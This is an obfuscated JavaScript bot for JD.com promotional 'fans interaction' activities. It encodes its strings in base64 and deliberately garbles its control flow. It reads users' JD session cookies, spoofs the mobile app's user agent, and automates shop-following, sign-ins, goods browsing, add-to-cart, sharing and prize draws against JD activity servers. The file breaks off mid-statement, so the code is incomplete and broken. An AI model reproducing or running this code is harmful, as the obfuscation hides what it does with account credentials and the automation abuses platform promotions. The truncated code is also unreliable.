_0xoda='jsjiami.com.v6',_0xoda_=['‮_0xoda'],_0x489e=[_0xoda,'b2tWRVU=','bHRiZU8=','cmV0Y29kZQ==','RVh0SlM=','WGRQdHc=','aGFzT3duUHJvcGVydHk=','VVF2c0M=','YmFzZUluZm8=','UWZidGU=','VUhGQ1Y=','WXhXSmU=','UHRqeWk=','bXJBVGU=','d3JidHg=','WE5ERnc=','cFJoa2Q=','Z0ZBSHE=','ZWFwUGo=','QnJ6TWc=','eG5oUXY=','SmVoaHU=','YWRBWFg=','aEdZcHc=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','emgtQ04semg7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjc=','Z3ppcCwgZGVmbGF0ZQ==','dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2UvYXZpZixpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44LGFwcGxpY2F0aW9uL3NpZ25lZC1leGNoYW5nZTt2PWIzO3E9MC45','Y29tLmppbmdkb25nLmFwcC5tYWxs','bm9uZQ==','bmF2aWdhdGU=','ZG9jdW1lbnQ=','ZmxkT3M=','bHlPWUY=','VHFwRXg=','Q25uekk=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','bEpMYVc=','cHFWUVo=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','WVJPdVg=','d05hTVc=','ZVhQdkc=','aU5MVUQ=','UmZvWm8=','emtiSEU=','TU94UkE=','THhjanM=','VXd5dkg=','RGZPZ1A=','YWZjamg=','bnBLY0M=','UFRIQ24=','ak55Rk0=','WkhWb0E=','eE9Gb1E=','eWFwUnE=','Y3pxU1U=','TW1GTXA=','bEdJcUU=','cHJubm8=','cmVwbGFjZQ==','RE1PWUI=','TXZvSHk=','WHBlb2w=','Wnl2T1A=','Q0p2Y2E=','Q0VPTGc=','U3hjb20=','T1J3R1I=','a3huVEE=','VG1BZks=','aWpoSng=','TE5Bek4=','Y29kZQ==','amZQUmE=','YlVlZm4=','T2p6WkY=','ak1JbUg=','SEpPeFY=','dGptV20=','Sk5qVWs=','RXBNRHM=','aUtJQms=','R3llSEo=','Zmx2SXM=','WnlZd3g=','Y0RZcHM=','YXBpLm0uamQuY29t','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','b1BFRmc=','b3JNTW0=','dkVScUY=','ck5IUG8=','UGNUc3U=','bVJlZVE=','SmZPd0M=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','V0hPTk0=','cWNxTGw=','Zk1OVEQ=','RHJJZm8=','dlFJbVQ=','dEJBTko=','R1BrclY=','SlZlcUQ=','VmNiUmE=','eVdYR1c=','TUxLYVM=','SXNqUWE=','YWlwcW4=','VHF6R2Y=','SkdPUXo=','Zmxvb3I=','Q1pKTm4=','QVpjeGQ=','V1VCTFk=','RFN0cGI=','Tlhhenk=','akdZR0w=','Z01yU28=','R3pNY2M=','UEluS2E=','U3FZam4=','V1NTUUk=','UGhTTlg=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','QVlDYWo=','Y01Jc2o=','cUxDVnk=','SWt4cno=','TkViYnY=','VWtJdFE=','cUF6bHE=','QmZiYXo=','eFVYVFc=','VWpYWnQ=','ZVVHbUU=','b1laV0Q=','c0VPWkg=','SGJyRWQ=','YU9GdlY=','cWFXQ1g=','Y3RNYU8=','dXhGaWU=','aGJQbU0=','ZFljQmk=','cWVySk0=','RWlMT3I=','ZGVyZlU=','WEpjeHY=','WkVGS0k=','dmhHRG0=','TmpEbFk=','Q2x6UEw=','ZmFneEw=','Ukdhd20=','QXNzbWQ=','WlVzUEE=','T2xzWnM=','ZG9TaGFyZVRhc2sgaXMgZG8=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','Qnl1Tno=','aFZ0SFk=','CuW8gOi1t+a0u+WKqDog','VGRUQ2s=','dE5CRng=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','bXNn','bmFtZQ==','RVNvQ2s=','enRScUQ=','a1ZLd08=','bGVuZ3Ro','YkVlWWk=','T0NwRVo=','bVNQcVc=','bG9n','UEdOQ1Q=','YW9xemI=','VXNlck5hbWU=','ZldzSGg=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','WmFBVlk=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','c0JMek4=','ekhvUFM=','aEpaQW4=','Q1Jzbm8=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','cVVUekY=','TkNFdVA=','VVVJRA==','Q1FqVks=','d2ZpcGo=','YXV0aG9yTnVt','YWN0aXZpdHlJZA==','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hGYW5zSW50ZXJBY3Rpb25BY3Rpdml0eS9hY3Rpdml0eS8=','Lz9hY3Rpdml0eUlkPQ==','JmFkc291cmNlPXRnX3h1YW5GdVR1QmlhbyZzaWQ9JnVuX2FyZWE9','Tk1hd3o=','d2FpdA==','V0VEZGE=','V3Vpeno=','c3BsaXQ=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','VlFuTGU=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50','Zm9sbG93U2hvcA==','ZG9TaWdu','aW50ZXJhY3Rpb24vd3JpdGUvd3JpdGVQZXJzb25JbmZv','ZG9TaWduIGlzIGRv','ZnVJS3Y=','ZG9Ccm93R29vZHNUYXNr','c2t1SWQ=','ZG9Ccm93R29vZHNUYXNrIGlzIGRv','WGlqc1Y=','UWttS0w=','ZG9BZGRHb29kc1Rhc2s=','SlBKS1A=','VmdiWEM=','WlpqUlk=','cEd0TmQ=','ZG9BZGRHb29kc1Rhc2sgaXMgZG8=','ZG9TaGFyZVRhc2s=','UlpZd2c=','ZG9SZW1pbmRUYXNr','WmZ3V2Y=','UWtva2Y=','ZG9SZW1pbmRUYXNrIGlzIGRv','Q3JYdnU=','eWFPWks=','ZG9NZWV0aW5nVGFzaw==','ZG9NZWV0aW5nVGFzayBpcyBkbw==','c3RhcnREcmF3','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','c2VjcmV0UGlu','b3BlbkNhcmRBY3Rpdml0eUlk','WVJ5cnY=','dElRQ0Q=','aU5wTW0=','YWN0aXZpdHlJZD0=','Wk9pZm0=','RlB5bFQ=','WEp4dHg=','UWlIYko=','cmFuZG9t','T0hmTVM=','WFdQWmQ=','d3VPeVc=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','S2N1Wkg=','dmVuZGVySWQ9','dmVuZGVySWQ=','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','UEZrZkU=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','b1VBeEw=','YnhwaXk=','b2lZTEw=','VU91dnQ=','dXVpZD0=','dXVpZA==','dGFza0lkcw==','cUNQd0Y=','dGFzazFTaWdu','dXBMaW1pdA==','ZmluaXNoZWRDb3VudA==','Um1kSkQ=','ZVRHdFA=','QUtvU3A=','amRBY3Rpdml0eUlkPQ==','amRBY3Rpdml0eUlk','JmFjdGlvblR5cGU9NCZ2ZW5kZXJJZD0=','Q2dMZ0Q=','UFJHZUY=','dGFzazJCcm93R29vZHM=','dmJMWGs=','T0ZNbVk=','UGhRZUk=','JnNrdUlkPQ==','dGFza0dvb2RMaXN0','Y3BEYVI=','ZHRMTnU=','JmFjdGlvblR5cGU9NSZ2ZW5kZXJJZD0=','dmF1c1I=','TGhCSHg=','dGFzazNBZGRDYXJ0','aXFCS3E=','a2FGaHQ=','UWtaTU0=','RkJUREU=','RHRERWY=','eG5Leng=','b2pXWmM=','ZGJuc3k=','Um5RbnQ=','cEh6Tkw=','bWpOelU=','cFVjWWU=','a25LbXI=','WXlYR0k=','dGFzazRTaGFyZQ==','bEVUeVE=','R2RGT08=','S01CcEI=','bG9nRXJy','VHl5cGI=','dGFzazVSZW1pbmQ=','ZHpRYXQ=','YWZUZWU=','RlZsVkk=','YXZ1S3M=','dGFzazdNZWV0UGxhY2VWbw==','WmtkZFE=','RW5PcGI=','ZkxWT1Y=','VFFYY1I=','cFlxS3Q=','JnV1aWQ9','JmRyYXdUeXBlPTAx','S2FYak8=','JmRyYXdUeXBlPTAy','JmRyYXdUeXBlPTAz','ckpEcFU=','ZUdrUWI=','U2V0LUNvb2tpZQ==','a2J1Smk=','cUJRTW0=','c0ZWcmw=','eWtrTXM=','5YWz5rOo5bqX6ZO6IA==','Y0FCa2o=','UHpYUWo=','QnlmYUU=','bXVBTnk=','ek52UUQ=','b1l2SkQ=','SXJRblY=','RVJQQVY=','a1BtU1Q=','RXh2UWk=','ZkN5dEg=','ZkZZQ2I=','SnZES2c=','VWpEdmI=','Z3dJQm8=','aGdoenc=','bXFHZFo=','U3B3QnA=','aERBVlk=','cFBmSkY=','cG9zdA==','U2Jyams=','QUZDUG0=','R0hObXA=','cXNMVHo=','c0xLc2s=','VE5ndWg=','dWlBYlI=','cGFyc2U=','cmVzdWx0','UHNjQ3g=','T0JKV2c=','eVJSQ0k=','Q296TXY=','ZGF0YQ==','c2hvcElk','YWN0aXZpdHlTaG9wSWQ=','eG5BWnE=','YWN0SW5mbw==','YWN0TmFtZQ==','YWN0b3JJbmZv','dGFzazZHZXRDb3Vwb24=','Ymh4UVA=','QmlpeHY=','WXJYdXc=','Zm9sbG93','Rld6d2I=','RUx6RHE=','c3RyaW5naWZ5','V0pOUFE=','UUVhQm0=','cm1NaE0=','dXV0SGM=','TGpsWXo=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hGYW5zSW50ZXJBY3Rpb25BY3Rpdml0eS8=','ZldGd1E=','QmZUemw=','dUxuTlM=','QndqTk8=','emJydlo=','SkRCbUw=','SkZ1TGY=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','SGNzRUM=','MTAwMQ==','dXNlckluZm8=','eWFibko=','emRvb3E=','VGJMeE4=','SFNCdEU=','a25BaU0=','S3JOeGQ=','eEZRWEY=','T3hkTnA=','d1RWY3o=','YklkWmg=','RWdEa2M=','dG1hbWw=','SkdYWkE=','cGZlTkE=','am1RcWw=','aWhWaGg=','ZHVIaUM=','Y3lnSEw=','YXdMQ0Y=','d0hFUm0=','VVJ2R3Q=','YUxsWEE=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','U3Jxb0Y=','UmxsdE8=','UmZwVlU=','VktWcFo=','b09nU2I=','UGRpZEg=','UHpxSkY=','SE9XWkU=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','ZWpTcmg=','TGpiZmE=','Y2JzZ2M=','ekpSdkw=','SVhScE0=','ZWhXVHA=','UkVvckU=','QVRjRWc=','QmNKcFE=','Y2JmYU0=','ck9NTGM=','aHFadm4=','Y0ZXcXE=','dFB1VVo=','TndSbFg=','WEJta1Q=','TVdQVk0=','V0tPWlg=','Y3JHSVI=','c0ZhSUY=','S1dpWk4=','TkVMY2g=','aXNOb2Rl','dGtNZ3A=','dHlJZEU=','Z0VqQ1k=','YmpsTmU=','RnhtSkw=','ZFhJRHA=','S0hMeEs=','RG5Pb0M=','TWtvQlA=','U0VYaXM=','Zk5KWEY=','enZOUkQ=','b1dsQUE=','anNZZkI=','ZGRSVlM=','UEZlenU=','SXdudnk=','b1NmdHo=','ZXJyb3JNZXNzYWdl','VHNvcVo=','aGdUVGs=','YVVBeVA=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','Y3pwdlc=','SUxmWE4=','U3BFS0c=','Vk1uTG0=','ujsJjMFnhiaZmi.OMcKXLGoOm.vt6=='];if(function(_0x3babb8,_0x5ef1d7,_0x5d39de){function _0x49df52(_0x54f593,_0x16bd87,_0x54464b,_0x36cee6,_0x43e2cd,_0x38cda4){_0x16bd87=_0x16bd87>>0x8,_0x43e2cd='po';var _0x3c99c2='shift',_0xb75e5f='push',_0x38cda4='‮';if(_0x16bd87<_0x54f593){while(--_0x54f593){_0x36cee6=_0x3babb8[_0x3c99c2]();if(_0x16bd87===_0x54f593&&_0x38cda4==='‮'&&_0x38cda4['length']===0x1){_0x16bd87=_0x36cee6,_0x54464b=_0x3babb8[_0x43e2cd+'p']();}else if(_0x16bd87&&_0x54464b['replace'](/[uJMFnhZOMKXLGOt=]/g,'')===_0x16bd87){_0x3babb8[_0xb75e5f](_0x36cee6);}}_0x3babb8[_0xb75e5f](_0x3babb8[_0x3c99c2]());}return 0xf6e0f;};return _0x49df52(++_0x5ef1d7,_0x5d39de)>>_0x5ef1d7^_0x5d39de;}(_0x489e,0xaa,0xaa00),_0x489e){_0xoda_=_0x489e['length']^0xaa;};function _0x343b(_0x486ba1,_0x2450b6){_0x486ba1=~~'0x'['concat'](_0x486ba1['slice'](0x1));var _0x25228a=_0x489e[_0x486ba1];if(_0x343b['sLSmFe']===undefined&&'‮'['length']===0x1){(function(){var _0xf44be3=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2387e6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xf44be3['atob']||(_0xf44be3['atob']=function(_0x9eb1bb){var _0x3074d5=String(_0x9eb1bb)['replace'](/=+$/,'');for(var _0xaea59b=0x0,_0x15556d,_0x22f4a4,_0x4ce4ba=0x0,_0x192b0e='';_0x22f4a4=_0x3074d5['charAt'](_0x4ce4ba++);~_0x22f4a4&&(_0x15556d=_0xaea59b%0x4?_0x15556d*0x40+_0x22f4a4:_0x22f4a4,_0xaea59b++%0x4)?_0x192b0e+=String['fromCharCode'](0xff&_0x15556d>>(-0x2*_0xaea59b&0x6)):0x0){_0x22f4a4=_0x2387e6['indexOf'](_0x22f4a4);}return _0x192b0e;});}());_0x343b['gqyXmb']=function(_0x596633){var _0x11484c=atob(_0x596633);var _0x21cdf2=[];for(var _0xe4c1e2=0x0,_0x32b312=_0x11484c['length'];_0xe4c1e2<_0x32b312;_0xe4c1e2++){_0x21cdf2+='%'+('00'+_0x11484c['charCodeAt'](_0xe4c1e2)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x21cdf2);};_0x343b['xXsjir']={};_0x343b['sLSmFe']=!![];}var _0x3f13ef=_0x343b['xXsjir'][_0x486ba1];if(_0x3f13ef===undefined){_0x25228a=_0x343b['gqyXmb'](_0x25228a);_0x343b['xXsjir'][_0x486ba1]=_0x25228a;}else{_0x25228a=_0x3f13ef;}return _0x25228a;};!(async()=>{var _0x547fd9={'CRsno':_0x343b('‮0'),'WEDda':_0x343b('‫1'),'Wuizz':_0x343b('‫2'),'ESoCk':_0x343b('‮3'),'ztRqD':_0x343b('‫4'),'kVKwO':function(_0x4e2762,_0x83988d){return _0x4e2762<_0x83988d;},'bEeYi':function(_0x399029,_0x402fbb){return _0x399029!==_0x402fbb;},'OCpEZ':_0x343b('‫5'),'mSPqW':_0x343b('‮6'),'PGNCT':function(_0x9401ad,_0x1d4b31){return _0x9401ad+_0x1d4b31;},'aoqzb':_0x343b('‮7'),'fWsHh':function(_0x2c6385,_0x10a84f){return _0x2c6385(_0x10a84f);},'ZaAVY':function(_0x12f79b){return _0x12f79b();},'sBLzN':function(_0x22041e,_0x197a0f){return _0x22041e===_0x197a0f;},'zHoPS':_0x343b('‮8'),'hJZAn':_0x343b('‮9'),'qUTzF':function(_0xa26a99,_0x120894,_0x303600){return _0xa26a99(_0x120894,_0x303600);},'NCEuP':_0x343b('‫a'),'CQjVK':function(_0x24957c,_0x1f27af){return _0x24957c(_0x1f27af);},'wfipj':_0x343b('‮b'),'NMawz':function(_0x4f8f7a){return _0x4f8f7a();}};if(!cookiesArr[0x0]){$[_0x343b('‫c')]($[_0x343b('‮d')],_0x547fd9[_0x343b('‮e')],_0x547fd9[_0x343b('‫f')],{'open-url':_0x547fd9[_0x343b('‫f')]});return;}for(let _0x5e87ac in activityTitleList){for(let _0x4ec1d8=0x0;_0x547fd9[_0x343b('‮10')](_0x4ec1d8,cookiesArr[_0x343b('‮11')]);_0x4ec1d8++){if(_0x547fd9[_0x343b('‮12')](_0x547fd9[_0x343b('‫13')],_0x547fd9[_0x343b('‮14')])){console[_0x343b('‮15')](_0x547fd9[_0x343b('‮16')](_0x547fd9[_0x343b('‫17')],activityTitleList[_0x5e87ac]));if(cookiesArr[_0x4ec1d8]){cookie=cookiesArr[_0x4ec1d8];originCookie=cookiesArr[_0x4ec1d8];newCookie='';$[_0x343b('‫18')]=_0x547fd9[_0x343b('‫19')](decodeURIComponent,cookie[_0x343b('‮1a')](/pt_pin=(.+?);/)&&cookie[_0x343b('‮1a')](/pt_pin=(.+?);/)[0x1]);$[_0x343b('‫1b')]=_0x547fd9[_0x343b('‮16')](_0x4ec1d8,0x1);$[_0x343b('‫1c')]=!![];$[_0x343b('‫1d')]='';await _0x547fd9[_0x343b('‮1e')](checkCookie);console[_0x343b('‮15')](_0x343b('‮1f')+$[_0x343b('‫1b')]+'】'+($[_0x343b('‫1d')]||$[_0x343b('‫18')])+_0x343b('‮20'));if(!$[_0x343b('‫1c')]){if(_0x547fd9[_0x343b('‫21')](_0x547fd9[_0x343b('‮22')],_0x547fd9[_0x343b('‮23')])){console[_0x343b('‮15')](_0x547fd9[_0x343b('‫24')]);}else{$[_0x343b('‫c')]($[_0x343b('‮d')],_0x343b('‮25'),_0x343b('‫26')+$[_0x343b('‫1b')]+'\x20'+($[_0x343b('‫1d')]||$[_0x343b('‫18')])+_0x343b('‮27'),{'open-url':_0x547fd9[_0x343b('‫f')]});continue;}}$[_0x343b('‮28')]=0x0;$[_0x343b('‫29')]=_0x547fd9[_0x343b('‮2a')](getUUID,_0x547fd9[_0x343b('‮2b')],0x1);$[_0x343b('‮2c')]=_0x547fd9[_0x343b('‮2d')](getUUID,_0x547fd9[_0x343b('‮2e')]);$[_0x343b('‮2f')]=''+_0x547fd9[_0x343b('‮2a')](random,0xf4240,0x98967f);$[_0x343b('‫30')]=activityTitleList[_0x5e87ac];$[_0x343b('‮31')]=_0x343b('‫32')+$[_0x343b('‫30')]+_0x343b('‮33')+$[_0x343b('‫30')]+_0x343b('‫34');await _0x547fd9[_0x343b('‮35')](wxFansInter);await $[_0x343b('‫36')](0x7d0);}}else{for(let _0x44cf7e of resp[_0x547fd9[_0x343b('‮37')]][_0x547fd9[_0x343b('‫38')]]){cookie=''+cookie+_0x44cf7e[_0x343b('‫39')](';')[0x0]+';';}}}}})()[_0x343b('‫3a')](_0x4e307a=>{$[_0x343b('‮15')]('','❌\x20'+$[_0x343b('‮d')]+_0x343b('‮3b')+_0x4e307a+'!','');})[_0x343b('‮3c')](()=>{$[_0x343b('‫3d')]();});async function wxFansInter(){var _0x2cc151={'XJxtx':function(_0x1b8da8,_0x2ff308){return _0x1b8da8|_0x2ff308;},'QiHbJ':function(_0x94ed94,_0x214291){return _0x94ed94*_0x214291;},'OHfMS':function(_0xd7af7,_0x288d92){return _0xd7af7==_0x288d92;},'XWPZd':function(_0x5b7c64,_0x280863){return _0x5b7c64|_0x280863;},'wuOyW':function(_0x293961,_0x30bad1){return _0x293961&_0x30bad1;},'ojWZc':_0x343b('‫1'),'dbnsy':_0x343b('‫2'),'mjNzU':_0x343b('‫3e'),'YRyrv':function(_0x5e3c51){return _0x5e3c51();},'tIQCD':function(_0x42617e,_0x19743f,_0x313268,_0x44538e){return _0x42617e(_0x19743f,_0x313268,_0x44538e);},'iNpMm':_0x343b('‮3f'),'ZOifm':function(_0x4d26f4,_0x458724){return _0x4d26f4!==_0x458724;},'FPylT':_0x343b('‮40'),'KcuZH':_0x343b('‫41'),'PFkfE':function(_0x575b0e,_0x3725cd){return _0x575b0e(_0x3725cd);},'oUAxL':_0x343b('‮42'),'bxpiy':function(_0x1a5fb5,_0x29904c){return _0x1a5fb5(_0x29904c);},'oiYLL':function(_0x25c6d2,_0x5a261e,_0x1153e9){return _0x25c6d2(_0x5a261e,_0x1153e9);},'UOuvt':_0x343b('‫43'),'qCPwF':function(_0x16baca,_0x53891b){return _0x16baca>_0x53891b;},'RmdJD':_0x343b('‫44'),'eTGtP':function(_0x4a5730,_0x357627,_0x59c13e,_0x34c464){return _0x4a5730(_0x357627,_0x59c13e,_0x34c464);},'AKoSp':_0x343b('‫45'),'CgLgD':_0x343b('‫46'),'PRGeF':function(_0x2f6e4b,_0x236fa0){return _0x2f6e4b>_0x236fa0;},'vbLXk':_0x343b('‮47'),'OFMmY':_0x343b('‮48'),'PhQeI':function(_0x31472d,_0x1ce202){return _0x31472d<_0x1ce202;},'cpDaR':_0x343b('‫49'),'dtLNu':function(_0x384faa,_0x507e5b){return _0x384faa(_0x507e5b);},'vausR':_0x343b('‫4a'),'LhBHx':function(_0x5f0b32,_0x145f66){return _0x5f0b32>_0x145f66;},'iqBKq':_0x343b('‮4b'),'kaFht':_0x343b('‮4c'),'QkZMM':_0x343b('‫4d'),'FBTDE':function(_0x435906,_0xd946e9){return _0x435906===_0xd946e9;},'DtDEf':_0x343b('‮4e'),'xnKzx':_0x343b('‫4f'),'RnQnt':_0x343b('‮50'),'pHzNL':_0x343b('‫51'),'pUcYe':function(_0xb37db7,_0x200c70,_0x52e51a){return _0xb37db7(_0x200c70,_0x52e51a);},'knKmr':_0x343b('‮52'),'YyXGI':function(_0xa0b746,_0xb4cade){return _0xa0b746>_0xb4cade;},'lETyQ':_0x343b('‮53'),'GdFOO':function(_0x5d2a19,_0x193a80){return _0x5d2a19===_0x193a80;},'KMBpB':_0x343b('‮54'),'Tyypb':_0x343b('‮0'),'dzQat':_0x343b('‫55'),'afTee':_0x343b('‫56'),'FVlVI':_0x343b('‮57'),'avuKs':_0x343b('‮58'),'ZkddQ':_0x343b('‫59'),'EnOpb':_0x343b('‫5a'),'fLVOV':_0x343b('‮5b'),'TQXcR':_0x343b('‮5c'),'pYqKt':_0x343b('‫5d'),'KaXjO':function(_0x170ba2,_0xd43b8f,_0x567f3c){return _0x170ba2(_0xd43b8f,_0x567f3c);},'rJDpU':_0x343b('‮5e'),'eGkQb':_0x343b('‮5f')};$[_0x343b('‮60')]=null;$[_0x343b('‮61')]=null;$[_0x343b('‫62')]=null;await _0x2cc151[_0x343b('‫63')](getFirstLZCK);await _0x2cc151[_0x343b('‫63')](getToken);await _0x2cc151[_0x343b('‮64')](task,_0x2cc151[_0x343b('‫65')],_0x343b('‫66')+$[_0x343b('‫30')],0x1);if($[_0x343b('‮60')]){if(_0x2cc151[_0x343b('‮67')](_0x2cc151[_0x343b('‮68')],_0x2cc151[_0x343b('‮68')])){var _0x5c06f6=_0x2cc151[_0x343b('‫69')](_0x2cc151[_0x343b('‫6a')](Math[_0x343b('‫6b')](),0x10),0x0),_0x43c0fa=_0x2cc151[_0x343b('‫6c')](c,'x')?_0x5c06f6:_0x2cc151[_0x343b('‫6d')](_0x2cc151[_0x343b('‮6e')](_0x5c06f6,0x3),0x8);if(UpperCase){uuid=_0x43c0fa[_0x343b('‮6f')](0x24)[_0x343b('‮70')]();}else{uuid=_0x43c0fa[_0x343b('‮6f')](0x24);}return uuid;}else{await _0x2cc151[_0x343b('‫63')](getMyPing);if($[_0x343b('‮61')]){await _0x2cc151[_0x343b('‮64')](task,_0x2cc151[_0x343b('‫71')],_0x343b('‮72')+$[_0x343b('‮73')]+_0x343b('‮74')+$[_0x343b('‮75')]+_0x343b('‫76')+_0x2cc151[_0x343b('‫77')](encodeURIComponent,$[_0x343b('‮61')])+_0x343b('‫78')+$[_0x343b('‫30')]+_0x343b('‫79')+$[_0x343b('‮31')]+_0x343b('‮7a'),0x1);await _0x2cc151[_0x343b('‮64')](task,_0x2cc151[_0x343b('‫7b')],_0x343b('‫66')+$[_0x343b('‫30')]+_0x343b('‫76')+_0x2cc151[_0x343b('‫7c')](encodeURIComponent,$[_0x343b('‮61')]),0x0);await _0x2cc151[_0x343b('‫7d')](task,_0x2cc151[_0x343b('‮7e')],_0x343b('‮7f')+$[_0x343b('‮80')]+_0x343b('‫78')+$[_0x343b('‫30')]);await $[_0x343b('‫36')](0x7d0);console[_0x343b('‮15')]('任务');if($[_0x343b('‮81')]){for(const _0x33726a in $[_0x343b('‮81')][_0x343b('‫39')](',')){switch($[_0x343b('‮81')][_0x343b('‫39')](',')[_0x33726a]){case'1':if(_0x2cc151[_0x343b('‮82')]($[_0x343b('‫83')][_0x343b('‮84')],$[_0x343b('‫83')][_0x343b('‫85')])){await $[_0x343b('‫36')](0x3e8);console[_0x343b('‮15')](_0x2cc151[_0x343b('‫86')]);await _0x2cc151[_0x343b('‫7d')](task,_0x2cc151[_0x343b('‫86')],_0x343b('‮7f')+$[_0x343b('‮80')]+_0x343b('‫78')+$[_0x343b('‫30')]);await 